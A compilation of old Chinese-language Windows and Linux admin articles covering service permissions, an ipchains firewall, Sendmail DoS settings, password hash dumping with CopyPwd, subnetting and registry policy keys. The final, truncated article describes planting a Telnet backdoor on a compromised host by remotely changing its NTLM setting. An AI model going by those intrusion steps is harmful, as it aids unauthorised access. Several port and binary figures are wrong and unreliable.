10、分配给用户和组读取、启动、停止和暂停的权限。
11、把服务的启动模式改为自动。
12、把你所需要限制服务的计算机添加到你所创建的组织单位里面，完成！

注：如果发现设置错误的话，可以通过Regedt32编辑
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\<ServiceId>\Security，删除Security键，重新启动。

方法二：使用Subinacl
Subinacl为2000ResourceKit里面提供的工具，具体语法如下。
SUBINACL /SERVICE \\ComputerName\ServiceName /GRANT=[DomainName\]UserName[=Access]
这其中：
ComputerName - 机器的NetBIOS名，省略的话代表本地
ServiceName - 服务的名称
DomainName - 域名，省略的话搜索本地的用户
UserName - 要被赋予权限的用户名称
Access - F : 完全控制 (缺省)
R : 读
W : 写
X : 执行
L : 读取控制
Q : 查询服务的设置
S : 查询服务的状态
E : 列出所依赖的服务
C : 改变服务的设置
T : 启动服务
O : 停止服务
P : 暂停／开始 服务
I : 询问服务
U : 用户用命令行方式定义服务控制

如果本机的话就容易多了，比如想限定本机的DNS服务的权限是Administrator完全控制的话执行
subinacl /service \dns /grant=administrator=f就OK了。

方法三：使用脚本

提供了一个例子，根据自己的实际情况可以对下面的脚本进行修改。

jsiDomain= Wscript.Arguments.Item(0)'domain of computer account
jsiComputer = Wscript.Arguments.Item(1)'netbios ComputerName
jsiUserName = Wscript.Arguments.Item(2)'UserName (in the domain)
jsiPerm= Wscript.Arguments.Item(3)'access code
'bind to ComputerName
set objTarget = GetObject("WinNT://" & jsiDomain & "/" & jsiComputer & ",computer")
'create a shell object for call to subinacl
set objCMD = CreateObject("Wscript.Shell")
'get list of services
objTarget.filter = Array("Service")
For each Service in objTarget
command = "subinacl /service " & Service.name & " /grant=" & jsiUserName & "=" & jsiPerm
objCMD.Run command, 0
'report the services
Wscript.Echo "User granted access to " & Service.name & " "
next
NOTE: This script does NOT perform any error checking.


怎样用ipchains构建防火墙

防火墙是提供网络安全性的重要手段之一，RedHat6.1提供了用于实现过滤型防火墙的工具包--ipchains。实现防火墙的策略一般有两种：在第一种方式下，首先允许所有的包，然后在禁止有危险的包通过防火墙；第二种方式则相反，首先禁止所有的包，然后再根据所需要的服务允许特定的包通过防火墙。相比较而言，第二种方式更能保证网络的安全性。但对于第二种方式，要求使用者知道Server/Client交互的基本原理和特定服务所对应的具体端口。本文将从一个具体的实列出发，讨论怎样采用第二种方式构建企业的防火墙系统。

一、Server/Client的交互原理

首先让我们看一下服务器/客户机的交互原理。服务器提供某特定功能的服务总是由特定的后台程序提供的。在TCP/IP网络中，常常把这个特定的服务绑定到特定的TCP或UDP端口。之后，该后台程序就不断地监听（listen)该端口，一旦接收到符合条件的客户端请求，该服务进行TCP握手后就同客户端建立一个连接，响应客户请求。与此同时，再产生一个该绑定的拷贝，继续监听客户端的请求。

举一个具体的例子：假设网络中有一台服务器A（IP地址为a.b.c.1)提供WWW服务，另有客户机B(a.b.c.4)、C(a.b.c.7)。首先，服务器A运行提供WWW服务的后台程序（比如Apache）并且把该服务绑定到端口80，也就是说，在端口80进行监听。当B发起一个连接请求时,B将打开一个大于1024的连接端口(1024内为已定义端口）,假设为1037。A在接收到请求后，用80端口与B建立连接以响应B的请求，同时产生一个80端口绑定的拷贝，继续监听客户端的请求。假如A又接收到C的连接请求（设连接请求端口为1071），则A在与C建立连接的同时又产生一个80端口绑定的拷贝继续监听客户端的请求。如下所示，每个连接都是唯一的。

服务器 客户端
连接1：a.b.c.1:80 < = > a.b.c.4:1037
连接2：a.b.c.1:80 < = > a.b.c.7:1071

二、服务端口
每一种特定的服务都有自己特定的端口，一般说来小于1024的端口多为保留端口，或者说是已定义端口，低端口分配给众所周知的服务（如WWW、FTP等等），从512到1024的端口通常保留给特殊的UNIX TCP/IP应用程序，具体情况请参考/etc/services文件或RFC1700。

三、网络环境

假设网络环境如下：某一单位，租用DDN专线上网，网络拓扑如下：

+--+
| 内部网段 |eth1 ++eth0 DDN
| +--|firewall|<===>Internet
| 198.168.80.0 | +---+
+--+
eth0: 198.199.37.254
eth1: 198.168.80.254

以上的IP地址都是Internet上真实的IP，故没有用到IP欺骗。并且，我们假设在内部网中存在以下服务器：
dns服务器：dns.yourdomain.com 由firewall兼任
www服务器： http://www.yourdomain.com/ < http://www.yourdomain.com/ >
198.168.80.11
ftp服务器： ftp.yourdomain.com < ftp://ftp.yourdomain.com >
198.168.80.12
bbs服务器：bbs.yourdomain.com 198.168.80.13
email服务器：mail.yourdomain.com 198.168.80.14

下面我们将用ipchains一步一步来建立我们的包过滤防火墙。

四、实现步骤

说明：有关ipchains的详细命令用法，请参考有关HOWTO文档。在本例中，我们将在eth0和eth1的input chain设置过滤规则。

1. 在/etc/rc.d/目录下用touch命令建立firewall文件，执行chmod u+x firewll以更改文件属性 ，编辑/etc/rc.d/rc.local文件，在末尾加上/etc/rc.d/firewall 以确保开机时能自动执行该脚本。

2. 刷新所有的ipchains

#!/bin/sh

echo "Starting ipchains rules..."
#Refresh all chains
/sbin/ipchains -F

3.设置WWW包过滤
说明：WWW端口为80，采用tcp或udp协议。规则为：eth1= >允许所有来自Intranet的WWW包；eth0= >仅允许目的为内部网WWW服务器的包。

#Define HTTP packets

#Allow www request packets from
Internet clients to www servers
/sbin/ipchains -A input -p tcp
-s 0.0.0.0/0 1024: -d 198.168.80.11/32
www -i eth0 -j ACCEPT
/sbin/ipchains -A input -p udp
-s 0.0.0.0/0 1024: -d 198.168.80.11/32
www -i eth0 -j ACCEPT

#Allow response from Intranet www
servers to request Internet clients

/sbin/ipchains -A input -p tcp -s
198.168.80.11/32 www -d 0.0.0.0/0
1024: -i eth1 -j ACCEPT
/sbin/ipchains -A input -p udp -s
198.168.80.11/32 www -d 0.0.0.0/0
1024: -i eth1 -j ACCEPT

#Allow www request packets from
Intranet clients to Internet www
servers
/sbin/ipchains -A input -p tcp -
s 198.168.80.0/24 1024: -d 0.0.0.0/0 www
-i eth1 -j ACCEPT
/sbin/ipchains -A input -p udp -s
198.168.80.0/24 1024: -d 0.0.0.0/0 www
-i eth1 -j ACCEPT

#Allow www response packets from
Internet www servers to Intranet
clients
/sbin/ipchains -A input -p tcp -s 0.0.0.0/0
www -d 198.168.80.0/24 1024:
-i eth0 -j ACCEPT
/sbin/ipchains -A input -p udp -s 0.0.0.0/0
www -d 198.168.80.0/24 1024:
-i eth0 -j ACCEPT

4.设置ftp包过滤
说明：ftp端口为21,ftp-data端口为20，均采用tcp协议。规则为：eth1= >允 许所有来自Intranet的ftp、ftp-data包；eth0=>仅允许目的为内部网ftp服务器的 包。

#Define FTP packets

#Allow ftp request packets from Internet
clients to Intranet ftp server
/sbin/ipchains -A input -p tcp -s 0.0.0.0/0
1024: -d 198.168.80.12/32
ftp -i eth0 -j ACCEPT
/sbin/ipchains -A input -p tcp -s 0.0.0.0/0
1024: -d 198.168.80.12/32
ftp-data -i eth0 -j ACCEPT

#Allow ftp response packets from Intranet
ftp server to Internet
clients
/sbin/ipchains -A input -p tcp -s
198.168.80.12/32 ftp -d 0.0.0.0/0
1024: -i eth1 -j ACCEPT
/sbin/ipchains -A input -p tcp -s
198.168.80.12/32 ftp-data -d 0.0.0.0/0
1024: -i eth1 -j ACCEPT

#Allow ftp request packets from Intranet
clients to Internet ftp servers
/sbin/ipchains -A input -p tcp -s 198.
168.80.0/24 1024: -d 0.0.0.0/0 ftp
-i eth1 -j ACCEPT
/sbin/ipchains -A input -p tcp -s 198.
168.80.0/24 1024: -d 0.0.0.0/0
ftp-data -i eth1 -j ACCEPT

#Allow ftp response packets from Internet
ftp servers to Intranet clients
/sbin/ipchains -A input -p tcp -s 0.0.0.0/0
ftp -d 198.168.80.0/24 1024:
-i eth0 -j ACCEPT
/sbin/ipchains -A input -p tcp -s 0.0.0.0/0
ftp-data -d 198.168.80.0/24
1024: -i eth0 -j ACCEPT

5.设置telnet包过滤
说明：telnet端口为21，采用tcp协议。规则为：eth1=>允许所有来自 Intranet的telnet包；eth0=>仅允许目的为bbs服务器的包；为了提高网络安全 性，禁止所有对firewall的telnet请求。

#Define telnet packets

#Allow telnet request packets from
Internet clients to Intranet bbs server
/sbin/ipchains -A input -p tcp -s 0.0.0.0/0
1024: -d 198.168.80.13/32
telnet -i eth0 -j ACCEPT

#Allow telnet response packets from bbs
server to Internet clients
/sbin/ipchains -A input -p tcp -s
198.168.80.13/32 telnet -d 0.0.0.0/0
1024: -i eth1 -j ACCEPT

#Allow telnet request packets from
Intranet clients to Internet telnet servers
/sbin/ipchains -A input -p tcp -s
198.168.80.0/24 1024: -d 0.0.0.0/0
telnet -i eth1 -j ACCEPT

#Allow telent response packets from
Internet telnet servers to Intranet clients
/sbin/ipchains -A input -p tcp -s 0.0.0.0/0
telnet -d 198.168.80.0/24
1024: -i eth0 -j ACCEPT

6.设置smtp包过滤
说明：smtp端口为21，采用tcp协议。规则为：eth1= >允许所有来自Intranet的smtp包；eth0=>仅允许目的为email服务器的smtp请求。

#Define smtp packets

#Allow smtp request packets from Internet
smtp servers to Intranet email server
/sbin/ipchains -A input -p tcp -s 0.0.0.0/0
1024: -d 198.168.80.14/32
smtp -i eth0 -j ACCEPT

#Allow smtp response packets from
Intranet email
server to Internet smtp servers
/sbin/ipchains -A input -p tcp -s
198.168.80.14/32 smtp -d 0.0.0.0/0
1024: -i eth1 -j ACCEPT

#Allow smtp request packets from Intranet
clients to Internet smtp servers
/sbin/ipchains -A input -p tcp -s
198.168.80.0/24 1024: -d 0.0.0.0/0
smtp -i eth1 -j ACCEPT

#Allow smtp response packets from Internet
smtp servers to Intranet clients
/sbin/ipchains -A input -p tcp -s
0.0.0.0/0 smtp -d 198.168.80.0/24
1024: -i eth0 -j ACCEPT

7.设置POP-3包过滤
说明：POP-3端口为110，采用tcp或udp协议。规则为：eth1=>允许所有来自Intranet的POP-3包；eth0=>允许所有目的为Intranet（email server 除外）的POP-3包。

#Define pop-3 packets

#Allow pop-3 request packets from
Intranet clients to Internet pop-3 servers
/sbin/ipchains -A input -p tcp -s
198.168.80.0/24 1024: -d 0.0.0.0/0
pop-3 -i eth1 -j ACCEPT
/sbin/ipchains -A input -p udp -s
198.168.80.0/24 1024: -d 0.0.0.0/0
pop-3 -i eth1 -j ACCEPT

#Allow pop-3 response packets from Internet pop-3
servers to Intranet clients (except email server)
/sbin/ipchains -A input -p tcp -s 0.0.0.0/0
pop-3 -d 198.168.80.0/24
1024: -i eth0 -j ACCEPT
/sbin/ipchains -A input -p udp -s 0.0.0.0/0
pop-3 -d 198.168.80.0/24
1024: -i eth0 -j ACCEPT

8.设置domain包过滤
说明：domain端口为53，采用tcp或udp协议。规则为：允许所有来自Intranet和Internet的domain请求。笔者在用网络监视软件测试时，发现domain的请求端口都是大于1100的，但是找不到相关的解释。

#Donmain name server

#Allow domain request packets from
Intranet clients to Internet domain servers
/sbin/ipchains -A input -p tcp -s
198.168.80.0/24 1100: -d 0.0.0.0/0
domain -i eth1 -j ACCEPT
/sbin/ipchains -A input -p udp -s
198.168.80.0/24 1100: -d 0.0.0.0/0
domain -i eth1 -j ACCEPT

#Allow domain response packets from Internet
domain servers to Intranet clients
/sbin/ipchains -A input -p tcp -s 0.0.0.0/0
domain -d 198.168.80.0/24
1100: -i eth0 -j ACCEPT
/sbin/ipchains -A input -p udp -s 0.0.0.0/0
domain -d 198.168.80.0/24
1100: -i eth0 -j ACCEPT

9.设置icmp包过滤
说明：icmp包通常用于网络测试等，故允许所有的icmp包通过。（另：icmp包通常带来的危害为ping of death，但是高版本的linux内核已经包含了相应的措施来避免ping of death）

#Define icmp packets

/sbin/ipchains -A input -p icmp -j ACCEPT

10.设置缺省包过滤规则
说明:除了以上所允许通过的包以外,禁止其他包通过。

#Define all rules on input chain
/sbin/ipchains -A input -j DENY -l

通过以上个步骤，我们建立了一个相对完整的防火墙。该防火墙禁止除了提供基本服务以外的包通过。但是该防火墙还有不完善的地方，比如，某些搜索引擎会打开一个小于1024的但不常用的端口的连接，这样的包就无法通过该防火墙，从而使用户不能使用该搜索引擎。但是提高了网络的安全性，消除了安全隐患，所谓鱼与熊掌不可兼得，安全性重要还是服务重要就要看不同的情况了。

云南玉溪师专计算机系 白云炜

摘自：Linux技术论坛


增强Sendmail的抗DoS攻击能力

作者：柏艺晖

    还记得一个月以前的Yahoo,eBay......受到的拒绝服务(Denial Of Service)攻击吗？

    当然，他们遭受的只是Web服务的DOS攻击。其实从最根本上来讲，各种拒绝服务攻击都是攻击目标的TCP/IP协议堆栈，并不是什么很特殊的运用方式，其目的都是让服务器瘫痪，无法工作。

    之所以这类攻击能容易得逞，是因为当初建立IP协议标准的时候，主要目的是为了提供最有效的服务，却没有考虑到对于包的来源的有力的验证机制。这点缺陷导致了DOS攻击致命的恶果。

    如果你的mail服务器遭到这种攻击，你会怎么办？

    在Sendmail8.10.0发布以前，这是一件很恼火的事情。现在就不一样了，有了Sendmail8.10.0，只需要按照下文简单配置几个参数，你的mail服务器的抗拒绝服务攻击能力就大大提高了。推荐值适用于中小型的Mail服务器。

    1.配置最少的自由块数
    配置参数：MinFreeBlocks
    参数描述：文件系统用来接受标准SMTP(简单邮件传输协议)邮件的队列中的最少的自由块数目。
    越小越容易被攻击致命。
    默认值：100
    推荐值：4000或者更大

    2.最大邮件大小
    配置参数：MaxMessageSize
    参数描述：每封邮件的最大尺寸，以比特(bytes)为单位。越大越容易被攻击致命。
    默认值：不限制
    推荐值：5M

    3.自动重建别名
    配置参数：AutoRebuildAliases
    参数描述：需要的时候自动重建所有别名。如果设定为True的话，这是一个潜在的能引起拒绝服务攻击的危机。
    默认值：False
    推荐值：False

    4.队列平均负荷
    配置参数：QueueLA
    参数描述：单一队列时的平均负荷。根据CPU的数量适当设定（8*CPU数量）
    默认值：可变的
    推荐值：10*CPU数量

    5.平均负荷拒绝临界点
    配置参数：RefuseLA
    参数描述：一旦平均负荷超过此临界点，所有Incoming的SMTP连接均拒绝。
    默认值：可变的
    推荐值：8*CPU数量

    6.最大的守护进程的子进程数
    配置参数：MaxDaemonChildren
    参数描述：容许Fork的最大的子进程数。超过此数目，连接就会被拒绝。如果设定值小于等于零，就意味着不限制。
    默认值：没有定义
    推荐值：根据内存大小设定。(例如，128M内存建议值为40)

    7.最大的报头长度
    配置参数：MaxHeadersLength
    参数描述：所有报头的最大总长
    默认值：没有设定
    推荐值：32或者64K

    8.最大MIME编码报文长度
    MIME,Multipurpose Internet Mail Extension protocol,多用途的网际邮件扩充协议
    配置参数：MaxMimeHeaderLength
    参数描述：经过MIME编码的最大报文长度
    默认值：没有定义
    推荐值：1024或者更小

    9.每封邮件的最多接收者
    配置参数：MaxRecipientsPerMessage
    参数描述：如果设定了的话，每封邮件只能同时抄送给指定数量的收信人。超过此数目就会返回一个452的错误代码。也就是说，在邮件队列中，会被无限期的延缓发送。


重新安装 Windows 2000 后密码的恢复

Author:Adam@nsfocus.com

在Windows 2K 的日常管理中，我们无可避免地会碰到重新安装Windows 2K 的时候，资料的备份可以有很多方式实现，用户的属性备份也可以通过 ADSI 脚本或者通过 Addusers 工具（见Windows 2000 Resource Kits）来实现，但是用户的密码，我们可能必须重新设置了，对于一台拥有上百用户的服务器来说，用户的抱怨将会给管理员带来很大的压力和麻烦，现在给大家推荐一款不错的好东东--CopyPwd，用来备份用户的密码。
下载地址：
http://www.sometips.com/soft/copypwd.zip
（老外还是比较牛，一个多礼拜就完成了这个玩艺的开发，内附源代码）

下面介绍一下用来作实验的两台机器，一台是中文Windows 2000 Server（取名为S1），一台是中文Windows 2000 Pro（取名为S2），两台皆为StandAlone的机器。当然，这个工具也能用在NT4的StandAlone和域结构中，但是偶没有进行过测试。

闲话少说，开始实验：我们首先在S1上进行如下的操作：

D:\copypwd>net user adam ILoveAdam! /add
命令成功完成。
//创建用户adam，密码为"ILoveAdam!"

D:\copypwd>copypwd.exe dump > copypwd.txt
//将S1所有用户密码dump出来，不要修改copypwd.txt这个文件名，btw，如果这个操作在你的机器上无法完成的话，你可以离开本页继续到浩瀚无垠的Internet上继续遨游了，Forgot me，就像忘记清晨开放在你窗前的那朵小花...

D:\copypwd>notepad copypwd.txt
//修改copypwd.txt文件，将与adam无关的行删除并存盘，由于我们在测试的时候只对一个用户进行测试，所以只保留了adam一行，如果你需要备份多个用户，你可以保留与那些用户相关的lines

我们将操作转移到 S2 上，首先我们可以测试一下 S2 上是否可以执行 copypwd dump，如果不行，你就自认倒霉吧，至于为什么有的机器能执行有的机器不能执行不在本文讨论范围之列，大家可以与 PWDump的作者－Jeremy Allison <jra@cygnus.com> 联系。

C:\>net user adam ILoveAdam! /add
命令成功完成。
//创建一个 adam 帐号，在这里我们使用的net user创建的该帐号，当然，我们也可以用 AddUsers来创建，这样我们能保留更多与用户相关的咨询，AddUser 具体使用可以参见Windows 2000 Resources Kits的手册。

C:\>copy \\192.168.X.X\copypwd\copypwd.txt .
已复制 1 个文件。
//将备份的copypwd.txt文件复制到 S2

C:\>copypwd.exe set
Set password for user adam
//密码恢复成功，不管你在 S2 上创建的密码是什么，现在的密码都是 "ILoveAdam!"

需要值得注意的一点，在我们实施完该操作后，该用户的"User must change password at next logon"开关被Enable了，所以在测试的时候会碰到一些问题，因此我们必须在用户管理器中Uncheck这个选项，当然，我们也可以通过命令行的方式来实现，所以在这里推荐一个Resource Kits里面的一个工具 cusrmgr，首先看看它的帮助：

CUsrMgr Ver 1.0 Jan98 by G.Zanzen (c) MCS Central Europe
Sets a random password to a user
usage: -u UserName [-m \\MachineName] \\ default LocalMachine
Resetting Password Function
-p Set to a random password
-P xxx Sets password to xxx
User Functions
-r xxx Renames user to xxx
-d xxx deletes user xxx
Group Functions
-rlg xxx yyy Renames local group xxx to yyy
-rgg xxx yyy Renames global group xxx to yyy
-alg xxx Add user (-u UserName) to local group xxx
-agg xxx Add user (-u UserName) to global group xxx
-dlg xxx deletes user (-u UserName) from local group xxx
-dgg xxx deletes user (-u UserName) from global group xxx
SetProperties Functions
-c xxx sets Comment to xxx
-f xxx sets Full Name to xxx
-U xxx sets UserProfile to xxx
-n xxx sets LogonScript to xxx
-h xxx sets HomeDir to xxx

-H x sets HomeDirDrive to x

+s xxxx sets property xxxx
-s xxxx resets property xxxx
where xxxx can be any of the following properties:
MustChangePassword
CanNotChangePassword
PasswordNeverExpires
AccountDisabled
AccountLockout
RASUser
【老规矩，字数不够帮助凑】

我们激活用户的语法是：

D:\copypwd>cusrmgr -u adam -s MustChangePassword

这样，我们的操作就完成了...

【后记】
需要感谢的是 Chuck McCullough<chuck@systemtools.com>，偶这个想法在多年前就有了，该死的一直叮叮不帮我写代码，而Shotgun这个鸟人现在号称只做开发管理，不再Coding，所以只有靠老外了...大家有兴趣也可以研究一下老外的代码...有什么心得也可以让偶学习学习...


注册表标准命名手册

Subtrees:子树

Keys:键

Subkeys:子键

Active Subkey:当前子键

Entry names:项名

Data Type:数据类型

Values:值

Update一下，找到了标准的中文命名方法，特此补充～


子网掩码和ip地址的关系

子网掩码是用来判断任意两台计算机的IP地址是否属于同一子网络的根据。

最为简单的理解就是两台计算机各自的IP地址与子网掩码进行AND运算后，如果得出的结果是相同的，则说明这两台计算机是处于同一个子网络上的，可以进行直接的通讯。就这么简单。

请看以下示例：

运算演示之一：aa
I P 地址　 192.168.0.1
子网掩码　 255.255.255.0
AND运算

转化为二进制进行运算：
I P 地址　11010000.10101000.00000000.00000001
子网掩码　11111111.11111111.11111111.00000000
AND运算

          11000000.10101000.00000000.00000000
转化为十进制后为：

            192.168.0.0

运算演示之二：
I P 地址　 192.168.0.254
子网掩码　 255.255.255.0
AND运算

转化为二进制进行运算：
I P 地址　11010000.10101000.00000000.11111110
子网掩码　11111111.11111111.11111111.00000000
AND运算

          11000000.10101000.00000000.00000000
转化为十进制后为：

            192.168.0.0

运算演示之三：
I P 地址　 192.168.0.4
子网掩码　 255.255.255.0
AND运算

转化为二进制进行运算：
I P 地址　11010000.10101000.00000000.00000100
子网掩码　11111111.11111111.11111111.00000000
AND运算

          11000000.10101000.00000000.00000000
转化为十进制后为：

            192.168.0.0

    通过以上对三组计算机IP地址与子网掩码的AND运算后，我们可以看到它运算结果是一样的。均为192.168.0.0

    所以计算机就会把这三台计算机视为是同一子网络，然后进行通讯的。我现在单位使用的代理服务器，内部网络就是这样规划的。

也许你又要问，这样的子网掩码究竟有多少了IP地址可以用呢？你可以这样算。
根据上面我们可以看出，局域网内部的ip地址是我们自己规定的（当然和其他的ip地址是一样的），这个是由子网掩码决定的通过对255.255.255.0的分析。可得出：
    前三位IP码由分配下来的数字就只能固定为192.168.0　　所以就只剩下了最后的一位了，那么显而易见了，ip地址只能有（2的8次方-1），即256-1=255一般末位为0或者是255的都有其特殊的作用。

那么你可能要问了:如果我的子网掩码不是255.255.255.0呢？你也可以这样做啊假设你的子网掩码是255.255.128.0

那么你的局域网内的ip地址的前两位肯定是固定的了（什么，为什么是固定的？你看上边不就明白了吗？·#￥）

这样，你就可以按照下边的计算来看看同一个子网内到底能有多少台机器

1、十进制128 = 二进制1000 0000

2、IP码要和子网掩码进行AND运算

3、
I P 地址　00010000.01001001.1*******.********
子网掩码　11111111.11111111.10000000.00000000
AND运算

          00010000.01001001.10000000.00000000
转化为十进制后为：

            16 . 73 . 128 . 0

4、可知我们内部网可用的IP地址为：

00010000.01001001.10000000.00000000
              到
00010000.01001001.11111111.11111111

5、转化为十进制：

16.73.128.0 到 16.73.255.255

6、0和255通常作为网络的内部特殊用途。通常不使用。 7、于是最后的结果如下：我们单位所有可用的IP地址为：
192.168.128.1-192.168.128.254
192.168.129.1-192.168.129.254
192.168.130.1-192.168.130.254
192.168.131.1-192.168.131.254
. . . . . . . . . . . . .
192.168.139.1-192.168.139.254
192.168.140.1-192.168.140.254
192.168.141.1-192.168.141.254
192.168.142.1-192.168.142.254
192.168.143.1-192.168.143.254
. . . . . . . . . . . . .
192.168.254.1-192.168.254.254
192.168.255.1-192.168.255.254

8、总数为(255-128+1)*(254-1+1) =128 * 254 = 32512

FAINT!!!!@#!@把我们公司都买了还买不了这么多的机器呢！·￥！·#

9、看看的结果是否正确

    (1)、设定IP地址为192.168.128.1

        Ping 192.168.129.233通过测试

        访问http://192.168.129.233可以显示出主页

    (2)、设定IP地址为192.168.255.254

        Ping 192.168.129.233通过测试

        访问http://192.168.129.233可以显示出主页

10、结论

    以上证明我们的结论是对的。现在你就可以看你的子网中能有多少台机器了

255.255.255.128
分解：
11111111.11111111.11111111.1000000
所以你的内部网络的ip地址只能是xxxxxxxx.xxxxxxxx.xxxxxxxx.0???????
到
xxxxxxxx.xxxxxxxx.xxxxxxxx.01111111

怎么样，这下你知道多少了吧？


组策略安全选项对应注册表项汇总

组策略安全选项对应注册表项汇总

作者：沧海笑一声

在组策略中的位置:
计算机设置->Windows设置->安全设置->本地策略->安全选项

详细列表:
[MACHINE\System\CurrentControlSet\Control\Lsa]
值名:AuditBaseObjects
含义:对全局系统对象的访问进行审计
类型:REG_DWORD
数据:0=停用

1=启用

值名:CrashOnAuditFail
含义:如果无法纪录安全审计则立即关闭系统
类型:REG_DWORD
数据:0=停用

1=启用

值名:FullPrivilegeAuditing
含义:对备份和还原权限的使用进行审计
类型:REG_BINARY
数据:0=停用

1=启用

值名:LmCompatibilityLevel
含义:LAN Manager

身份验证级别
类型:REG_DWORD
数据:0=发送LM &

NTLM响应
1=发送LM & NTLM -

若协商使用NTLMv2安全

2=仅发送NTLM响应

3=仅发送NTLMv2响应

4=仅发送NTLMv2响应\拒绝LM
5=仅发送NTLMv2响应\拒绝LM &

NTLM

值名:RestrictAnonymous
含义:对匿名连接的额外限制(通常用于限制IPC$空连接)
类型:REG_DWORD
数据:0=无.依赖于默认许可权限

1=不允许枚举SAM账号和共享

2=没有显式匿名权限就无法访问

值名ubmitControl
含义:允许服务器操作员计划任务(仅用于域控制器)
类型:REG_DWORD
数据:0=停用

1=启用

[MACHINE\System\CurrentControlSet\Control\Print\Providers\LanMan

Print

Services\Servers]
值名:AddPrinterDrivers
含义:防止用户安装打印机驱动程序
类型:REG_DWORD
数据:0=停用

1=启用

[MACHINE\System\CurrentControlSet\Control\Session

Manager\Memory

Management]
值名:ClearPageFileAtShutdown
含义:在关机时清理虚拟内存页面交换文件
类型:REG_DWORD
数据:0=停用

1=启用

[MACHINE\System\CurrentControlSet\Control\Session

Manager]
值名rotectionMode
含义:增强全局系统对象的默认权限 (例如 Symbolic

Links)
类型:REG_DWORD
数据:0=停用

1=启用

[MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters]
值名:EnableSecuritySignature
含义:对服务器通讯进行数字签名

(如果可能)
类型:REG_DWORD
数据:0=停用

1=启用

值名:RequireSecuritySignature
含义:对服务器通讯进行数字签名

(总是)
类型:REG_DWORD
数据:0=停用

1=启用

值名:EnableForcedLogOff
含义:当登录时间用完时自动注销用户

(本地)
类型:REG_DWORD
数据:0=停用

1=启用

值名:AutoDisconnect
含义:在断开会话产所需要的空闲时间
类型:REG_DWORD
数据:分钟数

[MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters]
值名:EnableSecuritySignature
含义:对客户端通讯进行数字签名

(如果可能)
类型:REG_DWORD
数据:0=停用

1=启用

值名:RequireSecuritySignature
含义:对客户端通讯进行数字签名

(总是)
类型:REG_DWORD
数据:0=停用

1=启用

值名:EnablePlainTextPassword
含义:发送未加密的密码以连接到第三方SMB服务器
类型:REG_DWORD
数据:0=停用

1=启用

[MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters]
值名isablePasswordChange
含义:防止计算机帐户密码的系统维护
类型:REG_DWORD
数据:0=停用

1=启用

值名ignSecureChannel
含义:安全通道: 对安全通道数据进行数字签名

(如果可能)
类型:REG_DWORD
数据:0=停用

1=启用

值名ealSecureChannel
含义:安全通道: 对安全通道数据进行数字加密

(如果可能)
类型:REG_DWORD
数据:0=停用

1=启用

值名:RequireSignOrSeal
含义:安全通道: 对安全通道数据进行数字加密或签名

(总是)
类型:REG_DWORD
数据:0=停用

1=启用

值名:RequireStrongKey
含义:安全通道: 需要强 (Windows 2000 或以上版本)

会话密钥
类型:REG_DWORD
数据:0=停用

1=启用

[MACHINE\Software\[M$]\Driver

Signing]
值名olicy
含义:未签名驱动程序的安装操作
类型:REG_BINARY
数据:0=默认安装

1=允许安装但发出警告

2=禁止安装

[MACHINE\Software\[M$]\Non-Driver

Signing]
值名olicy
含义:未签名非驱动程序的安装操作
类型:REG_BINARY
数据:0=默认安装

1=允许安装但发出警告

2=禁止安装

[MACHINE\Software\[M$]\Windows\CurrentVersion\Policies\System]
值名isableCAD
含义:禁用按

CTRL+ALT+DEL

进行登录的设置
类型:REG_DWORD
数据:0=停用

1=启用

值名ontDisplayLastUserName
含义:登录屏幕上不要显示上次登录的用户名
类型:REG_DWORD
数据:0=停用

1=启用

值名:LegalNoticeCaption
含义:用户试图登录时消息标题
类型:REG_SZ
数据:标题文本

值名:LegalNoticeText
含义:用户试图登录时消息文字
类型:REG_SZ
数据:消息文字

值名hutdownWithoutLogon
含义:登录屏幕上不要显示上次登录的用户名
类型:REG_DWORD
数据:0=停用

1=启用

[MACHINE\Software\[M$]\Windows

NT\CurrentVersion\Setup\RecoveryConsole]
值名ecurityLevel
含义:故障恢复控制台:

允许自动系统管理级登录
类型:REG_DWORD
数据:0=停用

1=启用

值名etCommand
含义:故障恢复控制台:

允许对所有驱动器和文件夹进行软盘复制和访问
类型:REG_DWORD
数据:0=停用

1=启用

[MACHINE\Software\[M$]\Windows

NT\CurrentVersion\Winlogon]
值名:AllocateCDRoms
含义:只有本地登录的用户才能访问

CD-ROM
类型:REG_SZ
数据:0=停用

1=启用

值名:AllocateDASD
含义:允许弹出可移动 NTFS

媒体
类型:REG_SZ
数据:0=Administrators

1=Administrators 和 Power users

2=Administrators 和 Interactive

users

值名:AllocateFloppies
含义:只有本地登录的用户才能访问软盘
类型:REG_SZ
数据:0=停用

1=启用

值名:CachedLogonsCount
含义:可被缓冲保存的前次登录个数

(在域控制器不可用的情况下)
类型:REG_SZ
数据:次数,如10次

值名asswordExpiryWarning
含义:在密码到期前提示用户更改密码
类型:REG_DWORD
数据:天数,缺省是14天

值名cRemoveOption
含义:智能卡移除操作
类型:REG_SZ
数据:0=无操作

1=锁定工作站
2=强制注销


最快速登录WIN2K TELNET 服务

.abu.

不甘寂寞的Windows 2000在系统里自带了TELNET服务，但却使用了NT4时代的身份验证机制。

NTLM（NT LAN MANAGER）。

一、原来的方法

记得以前的文章里在谈到使用WIN2K TELNET服务做入侵后门的时候，就是因为这个NTLM验证导致

整个过程非常烦琐。呵呵，费时费力。我整理了一下步骤。

1、获得对方管理员帐号的密码
2、启动对方TELNET服务
3、COPY一个修改注册表的可执行程序到对方机器上（呵呵，记得小榕写了一个的吧）
4、利用计划任务去运行那个传上去的程序（如果计划任务没有启动，还需要远程将其启动）
5、停止并重启TELNET服务
6、在客户端进行连接，需要输入对方机器用户名、密码

在这一过程中，可以简化为，先不启动TELNET服务，不COPY修改注册表的工具，而直接通过

本地的注册表来管理对方的注册表，直接图形界面修改，再利用AT去启动TELNET服务。

比如，我利用regedit.exe连接网络计算机的方式连接上了对方机器（192.168.0.12）

找到HEEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0下的NTLM键，将缺省的

值"2"修改为"1"或者"0"

这样，TELNET服务的登录验证方式就已经被修改了。

然后使用"netsvc \\192.168.0.12 telnet /start"这样的方法去启动TELNET服务。

在这里特地要多罗嗦几句

0：代表不使用 NTLM 身份验证，而使用输入用户名/密码的方式验证。
1：代表先尝试 NTLM 身份验证，如果失败，再使用用户名/密码的方式进行验证。
2: 代表只使用 NTLM 身份验证。

二、其实我们可以这样

当我们在用telnet客户端去连远程的WIN2K TELNET服务器的时候，系统是这样说的：

